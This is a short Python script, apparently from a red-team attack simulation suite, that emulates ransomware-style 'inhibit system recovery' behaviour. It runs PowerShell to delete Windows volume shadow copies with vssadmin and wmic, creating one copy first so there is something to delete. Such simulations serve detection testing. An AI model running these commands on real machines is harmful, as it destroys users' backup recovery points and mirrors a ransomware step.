in cortado/rtas/inhibit_system_recovery.py [0:0]
def main():
log.info("Deleting volume shadow copies...")
_ = _common.execute_command(
[
"powershell.exe",
"Invoke-Expression",
"-Command",
"'vssadmin.exe",
"delete",
"shadows",
"/for=c:",
"/oldest",
"/quiet'",
]
)
# Create a volume shadow copy so that there is at least one to delete
_ = _common.execute_command(
[
"powershell.exe",
"Invoke-Expression",
"-Command",
"'wmic.exe",
"shadowcopy",
"call",
"create",
"volume=c:\\'",
]
)
_ = _common.execute_command(
[
"powershell.exe",
"Invoke-Expression",
"-Command",
"'wmic.exe",
"shadowcopy",
"delete",
"/nointeractive'",
]
)